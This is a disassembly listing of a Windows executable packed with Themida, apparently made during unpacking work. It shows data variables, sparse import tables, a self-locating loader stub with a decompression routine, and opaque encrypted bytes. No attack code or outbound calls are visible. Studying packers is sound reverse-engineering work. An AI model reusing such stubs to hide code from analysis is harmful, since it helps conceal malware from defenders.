word_4D4152	dw 0			; DATA XREF: ___:off_4383A8o
		dd 1B7h	dup(0)
dword_4D4830	dd 0			; DATA XREF: sub_4172C1+86w
					; sub_417493+94r
dword_4D4834	dd 0			; DATA XREF: sub_4172C1+A7w
					; sub_4178F9+55r ...
dword_4D4838	dd 0			; DATA XREF: sub_4172C1+A0w
					; sub_417493+D6r ...
dword_4D483C	dd 0			; DATA XREF: sub_4172C1+79w
					; sub_417493+35r ...
dword_4D4840	dd 80h dup(0)		; DATA XREF: sub_4178F9+5Eo
dword_4D4A40	dd 0			; DATA XREF: sub_4172C1+93w
					; sub_417493+A2r
		align 8
dword_4D4A48	dd 0			; DATA XREF: sub_4172C1+E7o
					; sub_4172C1+103r ...
dword_4D4A4C	dd 0			; DATA XREF: sub_41761C+17Bw
					; sub_4177C3+107w
dword_4D4A50	dd 0			; DATA XREF: sub_41761C+180w
					; sub_4177C3+10Dw ...
dword_4D4A54	dd 0			; DATA XREF: sub_41761C+159w
					; sub_4178F9+4Fr
dword_4D4A58	dd 0			; DATA XREF: sub_417C61+22w
					; sub_417C61:loc_417DE6w ...
dword_4D4A5C	dd 0			; DATA XREF: sub_401ACD+3C95o
					; sub_417B2F+12o ...
		dd 0
dword_4D4A64	dd 0			; DATA XREF: sub_417C61+1Cr
					; sub_417E06+3Ar
		dd 7Fh dup(0)
dword_4D4C64	dd 0			; DATA XREF: sub_417C61+28r
					; sub_417E06+4Aw
		dd 1944h dup(0)
dword_4DB178	dd 0			; DATA XREF: sub_417E06+23o
dword_4DB17C	dd 81h dup(0)		; DATA XREF: sub_401ACD+3CB9o
					; sub_417B2F+3Co ...
dword_4DB380	dd 17h dup(0)		; DATA XREF: sub_418D2A:loc_418E47o
					; sub_418D2A+131o ...
dword_4DB3DC	dd 80h dup(0)		; DATA XREF: sub_419AE0+7Co
					; sub_419AE0+A5o
dword_4DB5DC	dd 0			; DATA XREF: sub_4190A5+45w
					; sub_4190A5+4Dr ...
dword_4DB5E0	dd 17h dup(0)		; DATA XREF: sub_4199AC:loc_419ACEo
					; sub_4199AC+12Do
dword_4DB63C	dd 80h dup(0)		; DATA XREF: sub_418FE5+4Co
					; sub_418FE5+7Eo ...
byte_4DB83C	db 0			; DATA XREF: sub_4190A5+29r
					; sub_4190A5+34w
		align 10h
dword_4DB840	dd 80h dup(0)		; DATA XREF: sub_4192FC+61o
					; sub_4192FC+89o ...
dword_4DBA40	dd 81h dup(0)		; DATA XREF: sub_418C0E:loc_418C46o
					; sub_418C0E+5Bo
dword_4DBC44	dd 0			; DATA XREF: sub_419F6D:loc_419F8Er
					; sub_41A05C+54r ...
dword_4DBC48	dd 0			; DATA XREF: sub_419F6Dr
					; sub_41A05C+37r ...
dword_4DBC4C	dd 0			; DATA XREF: sub_419F9D+1Ar
					; sub_41A1B1+83o
dword_4DBC50	dd 0			; DATA XREF: sub_419F6D:loc_419F81r
					; sub_41A1B1+11Bw
dword_4DBC54	dd 0Dh dup(0)		; DATA XREF: sub_41A05C+13o
					; sub_41A1B1:loc_41A2EEo
dword_4DBC88	dd 0			; DATA XREF: sub_41A05C+CDr
					; sub_41A05C+ECr ...
		align 10h
dword_4DBC90	dd 0Fh dup(0)		; DATA XREF: sub_41ADD8+47o
byte_4DBCCC	db 0			; DATA XREF: sub_41B52C+6o
					; ___:0041B881o ...
		align 10h
		dd 3Fh dup(0)
dword_4DBDCC	dd 2 dup(0)		; DATA XREF: sub_41B55B+18o
dword_4DBDD4	dd 2 dup(0)		; DATA XREF: sub_41B55B+8o
					; ___:0041B6CAo
dword_4DBDDC	dd 0			; DATA XREF: sub_41C59D+1B9w
					; ___:loc_41DB07w ...
dword_4DBDE0	dd 0			; DATA XREF: sub_41DC5E+35w
					; sub_41E312:loc_41E3ACw ...
dword_4DBDE4	dd 0			; DATA XREF: sub_42423B+13Ar
		dd 0A28h, 501h,	5, 1
dword_4DBDF8	dd 1			; DATA XREF: ___:loc_401516r
					; ___:0042381Dw
dword_4DBDFC	dd 2460B30h		; DATA XREF: ___:0040151Fr
					; ___:0040153Fr ...
		dd 0
dword_4DBE04	dd 2460B58h		; DATA XREF: ___:00423717w
		dd 3 dup(0)
off_4DBE14	dd offset aCM_unpackerPac ; DATA XREF: ___:004237BAw
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_4DBE1C	db 0			; DATA XREF: sub_41C1B3+2Dw
					; sub_4241E3+5r
		align 10h
dword_4DBE20	dd 0			; DATA XREF: sub_41C1B3+27w
dword_4DBE24	dd 0			; DATA XREF: sub_41C1B3+4r
					; sub_41C1B3+8Bw
dword_4DBE28	dd 0			; DATA XREF: sub_41CAD4+3Br
					; sub_41CAD4+91w
		align 10h
dword_4DBE30	dd 0			; DATA XREF: sub_41D124+Aw
dword_4DBE34	dd 0			; DATA XREF: ___:loc_4236E5r
					; ___:loc_423727r ...
		dd 0
dword_4DBE3C	dd 0			; DATA XREF: sub_41E2C9r ___:0041E2F0o ...
dword_4DBE40	dd 0			; DATA XREF: sub_41F3B0+4Bw
					; sub_41F4C9+2Dw ...
dword_4DBE44	dd 0			; DATA XREF: sub_41FBB2r
dword_4DBE48	dd 0			; DATA XREF: sub_41BBE2:loc_41BCFEr
					; sub_41BBE2:loc_41BE1Fr ...
dword_4DBE4C	dd 1			; DATA XREF: sub_420749:loc_4208C4r
					; sub_4208E2+4w ...
dword_4DBE50	dd 0			; DATA XREF: sub_420CE6+37r
		align 8
dword_4DBE58	dd 0			; DATA XREF: sub_422279+11r
					; sub_42237D+1Ar ...
byte_4DBE5C	db 0			; DATA XREF: sub_422279+3r
					; sub_422279+98r ...
		align 10h
dword_4DBE60	dd 0			; DATA XREF: sub_42237D+11r
					; sub_42245B+21w ...
byte_4DBE64	db 0			; DATA XREF: sub_42245B+51w
		align 4
dword_4DBE68	dd 0			; DATA XREF: sub_422651+4Er
					; sub_422A2C+3Ar ...
dword_4DBE6C	dd 0			; DATA XREF: sub_422651+5Cr
					; sub_422A2C+43r ...
dword_4DBE70	dd 0			; DATA XREF: sub_41D3AA+7Ar
					; sub_4227F8+5r
dword_4DBE74	dd 0			; DATA XREF: sub_422DFC+29r
dword_4DBE78	dd 1			; DATA XREF: sub_4232A8+28r
					; sub_4232A8+4Cw ...
		dd 2 dup(0)
dword_4DBE84	dd 0			; DATA XREF: sub_41DE4A+4r
					; sub_41DE4A+6Er ...
		dd 3 dup(0)
dword_4DBE94	dd 0			; DATA XREF: sub_41E0D4+61r
					; sub_41E0D4+BFr ...
		dd 0
dword_4DBE9C	dd 0			; DATA XREF: ___:00423531r
					; ___:0042353Dw ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_4237A3o
					; ___:off_4DBE14o
		align 4
		dd 3Ah dup(0)
dword_4DBFA4	dd 1			; DATA XREF: ___:004239DBr
					; ___:004239FCw ...
dword_4DBFA8	dd 0			; DATA XREF: sub_423D98+21r
dword_4DBFAC	dd 0			; DATA XREF: sub_41FBCD+154w
					; sub_420CE6:loc_420D0Fw ...
dword_4DBFB0	dd 0			; DATA XREF: sub_41FBCD+7r
dword_4DBFB4	dd 1			; DATA XREF: sub_4244F4+26r
					; sub_4244F4:loc_42455Ew
word_4DBFB8	dw 0			; DATA XREF: sub_424DF9+1Ao
					; sub_424DF9+46r
byte_4DBFBA	db 0			; DATA XREF: sub_424DF9+39r
		align 4
dword_4DBFBC	dd 7 dup(0)		; DATA XREF: sub_424DF9+52o
dword_4DBFD8	dd 0			; DATA XREF: sub_424DF9+40w
					; sub_424DF9+5Co
dword_4DBFDC	dd 0			; DATA XREF: sub_424DF9+4Dw
dword_4DBFE0	dd 0			; DATA XREF: sub_424DF9+31w
dword_4DBFE4	dd 0			; DATA XREF: sub_424DF9+52w
dword_4DBFE8	dd 77C26E79h		; DATA XREF: sub_424F1C:loc_424F3Fr
					; sub_424F1C+38r ...
dword_4DBFEC	dd 0			; DATA XREF: sub_425029+3r
					; sub_425029+2Ew ...
dword_4DBFF0	dd 0			; DATA XREF: sub_425029+43w
					; sub_425029:loc_425078r
dword_4DBFF4	dd 0			; DATA XREF: sub_425029+4Aw
					; sub_425029+60r
dword_4DBFF8	dd 0			; DATA XREF: sub_42423B+3Fr
dword_4DBFFC	dd 0			; DATA XREF: sub_425C06:loc_425C6Dr
					; sub_425C06+6Do
dword_4DC000	dd 0			; DATA XREF: sub_425C06:loc_425C44r
					; sub_425C06+44o
dword_4DC004	dd 0			; DATA XREF: sub_425C06:loc_425C37r
					; sub_425C06+37o
dword_4DC008	dd 0			; DATA XREF: sub_425C06:loc_425C51r
					; sub_425C06+51o
		align 10h
dword_4DC010	dd 0			; DATA XREF: sub_426636+28r
					; sub_426636+4Cw ...
dword_4DC014	dd 0			; DATA XREF: sub_4268C1+26r
					; sub_4268C1:loc_42692Bw
byte_4DC018	db 0			; DATA XREF: sub_40DB3Cr sub_40DB3C+9w
		align 4
dword_4DC01C	dd 2461140h		; DATA XREF: sub_41E490:loc_41E4A1r
					; sub_41FD3D+14r ...
dword_4DC020	dd 400h	dup(0)		; DATA XREF: ___:off_43D568o
					; ___:0043D570o
dword_4DD020	dd 200h			; DATA XREF: sub_41E490+9r
					; sub_41E490+56r ...
		dd 7 dup(0)
dword_4DD040	dd 2460650h		; DATA XREF: sub_41F8E3+75r
					; sub_41F9BC+2Ar ...
dword_4DD044	dd 3Fh dup(0)		; DATA XREF: ___:00423B9Do
dword_4DD140	dd 20h			; DATA XREF: sub_41E312+8r
					; sub_41F9BC+Cr ...
dword_4DD144	dd 4E4h			; DATA XREF: sub_420749+14r
					; sub_420749+65w ...
		align 10h
dword_4DD150	dd 3 dup(0)		; DATA XREF: sub_420749+123o
					; sub_420749+171o ...
dword_4DD15C	dd 0			; DATA XREF: sub_420749+108w
					; sub_420749+15Dw ...
byte_4DD160	db 0			; DATA XREF: sub_420988:loc_420A94w
					; sub_420988:loc_420AB1w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4DD260	db 0			; DATA XREF: sub_420749+5Co
					; sub_420749+AFo ...
byte_4DD261	db 0			; DATA XREF: sub_41C3B1+5Dr
					; sub_420749+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4DD364	dd 0			; DATA XREF: sub_420749+6Ew
					; sub_420749+12Bw ...
dword_4DD368	dd 0			; DATA XREF: sub_41ED74+5r
					; sub_41ED74+32w
dword_4DD36C	dd 0			; DATA XREF: sub_41E742+23Ar
					; sub_41E742+25Ar ...
dword_4DD370	dd 0			; DATA XREF: sub_41E742+311w
					; sub_41EA6B:loc_41EABBr ...
dword_4DD374	dd 0			; DATA XREF: sub_41E742+22Dr
					; sub_41E742+260r ...
dword_4DD378	dd 0			; DATA XREF: sub_41E717r
					; sub_41E742+2CBr ...
dword_4DD37C	dd 0			; DATA XREF: sub_41E717+8r
					; sub_41E742+2D0r ...
dword_4DD380	dd 0			; DATA XREF: sub_41BBE2+5Cr
					; sub_41BEF3+Fr ...
dword_4DD384	dd 2460000h		; DATA XREF: sub_41BA91+5Ar
					; sub_41BBE2+C0r ...
dword_4DD388	dd 1			; DATA XREF: sub_41BA91+Cr
					; sub_41BBE2:loc_41BC12r ...
dword_4DD38C	dd 142340h		; DATA XREF: ___:0042368Ar
					; ___:004237B5r
dword_4DD390	dd 1			; DATA XREF: ___:00423780w
dword_4DD394	dd 1			; DATA XREF: sub_420B0Dr
					; sub_420B0D+11w ...
dword_4DD398	dd 2460758h		; DATA XREF: sub_41C1B3+3Er
					; sub_41D9B3+13r ...
dword_4DD39C	dd 2460758h		; DATA XREF: sub_41C1B3+35r
					; sub_41C1B3+57r ...
		dd 318h	dup(0)
		dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
___		ends

; Section 2. (virtual address 000DF000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DF000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 4DF000h
		align 2000h
_rsrc___	ends

; Section 3. (virtual address 000E0000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000E0000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 4E0000h
a7icwCw		db '7¨çwµ\çw',0
		align 4
		dd 77345219h, 4	dup(0)
		dd 0E0050h, 0E0000h, 3 dup(0)
		dd 0E0079h, 0E000Ch, 3 dup(0)
		db 0
byte_4E0049	db 3 dup(0)		; DATA XREF: ___:004385ACo
		align 10h
aKernel32_dll_0	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 000E1000)
; Virtual size			: 000FD000 (1036288.)
; Section size in file		: 000FD000 (1036288.)
; Offset to raw	data for section: 000E1000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
Themida_	segment	para public 'CODE' use32
		assume cs:Themida_
		;org 4E1000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
		dd 0FDA6DA5Fh, 47360h, 54143h, 96172h, 0
; ---------------------------------------------------------------------------
		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_4E1086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_4E1041
		popa
		jmp	short loc_4E1076
; ---------------------------------------------------------------------------
		db 0DBh, 2Dh, 37h
		db 10h,	4Eh, 0
		dt 9.2233720368547758075e18
; ---------------------------------------------------------------------------


loc_4E1041:				; CODE XREF: Themida_:004E102Cj
		call	$+5
		pop	eax
		and	eax, 0FFFFF000h
		xor	edi, edi


loc_4E104E:				; CODE XREF: Themida_:004E1072j
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_4E106D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_4E1074


loc_4E106D:				; CODE XREF: Themida_:004E1059j
		sub	eax, 1000h
		jmp	short loc_4E104E
; ---------------------------------------------------------------------------


loc_4E1074:				; CODE XREF: Themida_:004E106Bj
		mov	edi, eax


loc_4E1076:				; CODE XREF: Themida_:004E102Fj
		jmp	loc_4E1265
; ---------------------------------------------------------------------------
		add	eax, edi
		mov	ecx, 0E126Ah
		add	ecx, edi
		jmp	short loc_4E1090
; ---------------------------------------------------------------------------


loc_4E1086:				; CODE XREF: Themida_:004E101Cj
		mov	eax, offset loc_549A0D
		mov	ecx, offset word_4E126A


loc_4E1090:				; CODE XREF: Themida_:004E1084j
		push	eax
		push	ecx
		call	sub_4E111B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_4E1265
; ---------------------------------------------------------------------------
		dw 9328h
		dd 788AE4C9h, 815EBCh, 63432DA8h, 0F065446Ch, 3ADC23BEh
		dd 759CA4D8h, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
		dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh
		dd 1848C86h, 662A4924h,	1799B7DEh, 9122458Bh, 0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_4E111B	proc near		; CODE XREF: Themida_:004E1092p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h


loc_4E1127:				; CODE XREF: sub_4E111B:loc_4E113Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_4E1132:				; CODE XREF: sub_4E111B+7Aj
					; sub_4E111B+C3j ...
		add	dl, dl
		jnz	short loc_4E113B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E113B:				; CODE XREF: sub_4E111B+19j
		jnb	short loc_4E1127
		add	dl, dl
		jnz	short loc_4E1146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E1146:				; CODE XREF: sub_4E111B+24j
		jnb	short loc_4E1197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_4E1153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E1153:				; CODE XREF: sub_4E111B+31j
		jnb	loc_4E1238
		add	dl, dl
		jnz	short loc_4E1162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E1162:				; CODE XREF: sub_4E111B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E116D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E116D:				; CODE XREF: sub_4E111B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E1178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E1178:				; CODE XREF: sub_4E111B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E1183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E1183:				; CODE XREF: sub_4E111B+61j
		adc	eax, eax
		jz	short loc_4E118D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_4E118D:				; CODE XREF: sub_4E111B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_4E1132
; ---------------------------------------------------------------------------


loc_4E1197:				; CODE XREF: sub_4E111B:loc_4E1146j
		mov	eax, 1


loc_4E119C:				; CODE XREF: sub_4E111B:loc_4E11B0j
		add	dl, dl
		jnz	short loc_4E11A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E11A5:				; CODE XREF: sub_4E111B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E11B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E11B0:				; CODE XREF: sub_4E111B+8Ej
		jb	short loc_4E119C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_4E11E3
		mov	ecx, 1


loc_4E11C0:				; CODE XREF: sub_4E111B:loc_4E11D4j
		add	dl, dl
		jnz	short loc_4E11C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E11C9:				; CODE XREF: sub_4E111B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E11D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E11D4:				; CODE XREF: sub_4E111B+B2j
		jb	short loc_4E11C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_4E1132
; ---------------------------------------------------------------------------


loc_4E11E3:				; CODE XREF: sub_4E111B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_4E11F1:				; CODE XREF: sub_4E111B:loc_4E1205j
		add	dl, dl
		jnz	short loc_4E11FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E11FA:				; CODE XREF: sub_4E111B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E1205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E1205:				; CODE XREF: sub_4E111B+E3j
		jb	short loc_4E11F1
		cmp	eax, 7D00h
		jnb	short loc_4E1228
		cmp	eax, 500h
		jb	short loc_4E1223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E1132
; ---------------------------------------------------------------------------


loc_4E1223:				; CODE XREF: sub_4E111B+F8j
		cmp	eax, 7Fh
		ja	short loc_4E122B


loc_4E1228:				; CODE XREF: sub_4E111B+F1j
		add	ecx, 2


loc_4E122B:				; CODE XREF: sub_4E111B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E1132
; ---------------------------------------------------------------------------


loc_4E1238:				; CODE XREF: sub_4E111B:loc_4E1153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_4E1259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_4E1132
; ---------------------------------------------------------------------------


loc_4E1259:				; CODE XREF: sub_4E111B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_4E111B	endp

; ---------------------------------------------------------------------------


loc_4E1265:				; CODE XREF: Themida_:loc_4E1076j
					; Themida_:004E10B1j
		jmp	loc_549A0D
; ---------------------------------------------------------------------------
word_4E126A	dw 38E9h		; DATA XREF: Themida_:004E108Bo
		dd 156352Ch, 6552F0AFh,	61741C73h, 7041CE72h, 784F2E2Fh
		dd 0D6F7239Ch, 21DC3343h, 0C201F9D7h, 92F1DF1Fh, 78920817h
		dd 0F9FA70DAh, 0EEBE010Eh, 1FE17122h, 102E24F2h, 8B35BCBAh
		dd 87EA2B84h, 7D0803CAh, 6854407Dh, 691C6D65h, 0DD216164h
		dd 0C2214554h, 36455E1Dh, 0BF7E35C2h, 0E65FA495h, 1BE10398h
		dd 0B82223EFh, 8BF5BB47h, 7011A3D0h, 0DE558503h, 0BF040148h
		dd 0C5728BFCh, 0E860D410h, 0ED815D80h, 0A803353Bh, 69958906h
		dd 0B50D0834h, 858432BDh, 830F225Dh, 1C159964h,	8B0C7403h
		dd 0B8E291E8h, 0DEC26D43h, 24443870h, 1F253EE2h, 0E8456A00h
		dd 6829C0A3h, 783749Ah,	0AA0DFF4h, 893D4B25h, 12D5220Ah
		dd 2B0214E9h, 555E828h,	0C483EC8Bh, 5AEE60D8h, 2920EA81h
		dd 0DA8B0436h, 8DD845C7h, 400E8C08h, 7E810889h,	1D80637Dh
		dd 203F0F74h, 93839208h, 12FF104Ch, 0E1EB3143h,	0BA61DC36h
		dd 0C2C90A26h, 81034604h, 47FF7CC4h, 72224902h,	80458D00h
		dd 0C7085D8Bh, 2519A285h, 0A008D50h, 1888C3D1h,	0B895441h
		dd 6BD5181h, 0E3755D01h, 8D14274Ah, 27664BAh, 0E8A8075h
		dd 5B48F4BBh, 3707ABB8h, 0D0D37854h, 1D080FE6h,	82F7754Bh
		dd 4647C3AFh, 46314A92h, 0D14251F9h, 38A5D61h, 0ECAFF0D0h
		dd 0FC5045EEh, 451EB4Dh, 8046E4ADh, 0F7403E62h,	73849BBAh
		dd 0C7D0C34h, 0F83E7FEBh, 126D6486h, 540E26F0h,	0A4A10F4h
		dd 4F065C1h, 0D1F801D6h, 0CBC203E0h, 0DB332800h, 80301C8Ah
		dd 6172E6FBh, 77390A0Ah, 0F7EBE905h, 143F2293h,	0A0DB361h
		dd 7A08FB66h, 75C3FA1Eh, 1A10610Ah, 860B7241h, 677460Ah
		dd 110F524h, 0ECC3F05Dh, 987D83F4h, 0D9B07202h,	0BB76C00Ch
		dd 26AA32A5h, 3B700EF8h, 3BA8508Dh, 0FFC5505h, 0BD4E7882h
		dd 38AA0DB0h, 8BA87F2h,	7005B907h, 0B8BDFC42h, 0FFE0037h
		dd 750E4947h, 2E22B9FAh, 1BBE36Ah, 82F1E811h, 2BBEDEBh
		dd 0BE868E00h, 5107A939h, 367E6570h, 268AB98Bh,	0C8E927DEh
		dd 0F98599Dh, 0F7AF0Dh,	0F95B6C9Ah, 0AD73879Dh,	21BC1F0Eh
		dd 8FD36724h, 6B5C3250h, 0E9561B01h, 5ED93904h,	6D8AC8C4h
		dd 8205250Ch, 0C01E0845h, 0C4564621h, 0DB002FC3h, 0F031C25Dh
		dd 7BA382B7h, 0B810192Ch, 80F19CDAh, 0BE5BCFEh,	0E68C0ECBh
		dd 367E034h, 5B4E3982h,	30070F76h, 0D1043D51h, 46663BC7h
		dd 9751466h, 0E608C2Eh,	65E4EC48h, 76069028h, 5C58402h
		dd 0A4D1968Eh, 4785393h, 8C29C254h, 0E7DC7166h,	98AADD0Eh
		dd 77812BFFh, 1D220460h, 0C84C134h, 207533F9h, 0BB833FBCh
		dd 39EFB30Ah, 419C0230h, 7F8C4CECh, 40FCFFCCh, 52457F86h
		dd 628060E9h, 4D8C52C4h, 82112504h, 0AB26B1AAh,	13845A68h
		dd 0F9305645h, 55EE825Eh, 1A4281DCh, 0D58A279Ah, 231310B9h
		dd 46439729h, 0D714DA61h, 70C94C44h, 8F51623Ah,	0C75CDCC0h
		dd 0BC30DA8Dh, 18815907h, 325705E2h, 4701CBECh,	10CA0B5Ch
		dd 579D1A86h, 349E8CC8h, 15D80288h, 1894C430h, 1538EA79h
		dd 31429BCh, 9F192336h,	584DA1A2h, 0C4726018h, 117D8A23h
		dd 5848001Bh, 0ABE79CC4h, 5B3C07D8h, 90E482A9h,	8A44EE15h
		dd 32FA8618h, 0C012EA64h, 114B7337h, 480F6D63h,	205FCD76h
		dd 0B2A4ED55h, 6CBD31F8h, 1109638h, 791011E9h, 16000D06h
		dd 85171BAFh, 31AA8BEh,	76D37D19h, 0F200546Ah, 5F43C7F3h
		dd 0A28C105Ch, 7085066Dh, 0E02CF2E0h, 6105FCF6h, 0CDDF323Ch
		dd 0C0C1D0B4h, 773A218h, 3ECEB314h, 0F10133CBh,	557F0FAh
		dd 60E9F4FDh, 7F53DC1Dh, 6A5F1058h, 0BA811E75h,	85384012h
		dd 96B9CB0Dh, 0E40CF400h, 0CFEBD382h, 0A15AEE37h, 0DC488DF3h
		dd 0B1560EAh, 95F30A08h, 18DCC800h, 7CF9100Dh, 7846006Eh
		dd 8E6BDD24h, 9062998Bh, 905154B8h, 185A5B70h, 1113EA61h
		dd 0FB006AF9h, 58450A62h, 0E8BADFD8h, 0CED43973h, 0C064E280h
		dd 844FEEB9h, 80627E39h, 0B2BB05F0h, 7031791Ch,	97893882h
		dd 45349070h, 2284D922h, 0DBA0066h, 0EA35D4AEh,	9415C02Ah
		dd 65664E30h, 6A443800h, 4CA71484h, 6F1501BEh, 8E10350Dh
		dd 0B62F8903h, 0A04E093Ch, 468F1B5Ch, 5C66002Bh, 9250940Dh
		dd 6E74F578h, 93E87403h, 0A7DE6DFBh, 0D65583C3h, 1D641D19h
		dd 5D3A208Eh, 0B40CCh, 3742492Bh, 1DA88B1Bh, 0BF344100h
		dd 5A229FB3h, 0BB210384h, 0B69A88ABh, 0BCD6C0EFh, 6D1D40AEh
		dd 4B80D119h, 4D2B31B9h, 537B063Ch, 208314EEh, 57087201h
		dd 0DE1CC712h, 6C337020h, 0D44879A4h, 0F0CC9141h, 726F01BCh
		dd 8FE5379h, 731880AFh,	3F6A37DBh, 339006h, 6F9C7F9Dh
		dd 7E57A5AEh, 2358C361h, 0D9807BF9h, 79D6036Dh,	0EA0532A1h
		dd 6AF3A08Fh, 213B8046h, 0DDDA0084h, 7E3344D2h,	8A03FBF6h
		dd 0C2577FC5h, 17A901CCh, 1A6470B5h, 83598589h,	0A4216D57h
		dd 91167544h, 5283BA0Ch, 0A332168h, 4C5F39B9h, 0AB803D88h
		dd 5355D5AEh, 63E0D4CCh, 8AFA29C0h, 9C68CFh, 0DA4AFE5Ch
		dd 0E31F473Eh, 55ABDD00h, 279E8BA3h, 1D62303Ah,	3309B998h
		dd 7B056779h, 2D542A8h,	5B838C42h, 1740806Bh, 0DC72530Ah
		dd 1CEA4228h, 7D00A212h, 0C0B4362Fh, 0DB743BE8h, 0C148A5Bh
		dd 20EC5587h, 8730285h,	9C31B78h, 53742448h, 89A8E618h
		dd 23B1120h, 0FE7F33C4h, 0C4AF0E57h, 6C807142h,	0DB78D080h
		dd 8B6054EEh, 673A1730h, 10109242h, 0E92C0F6h, 0D8598437h
		dd 0FB8E9AB9h, 9AA0420h, 0CCECD928h, 55856811h,	358407B8h
		dd 837EA0C4h, 0EB00FF0Ah, 0A5C899A4h, 1A02E21Ah, 90C02E27h
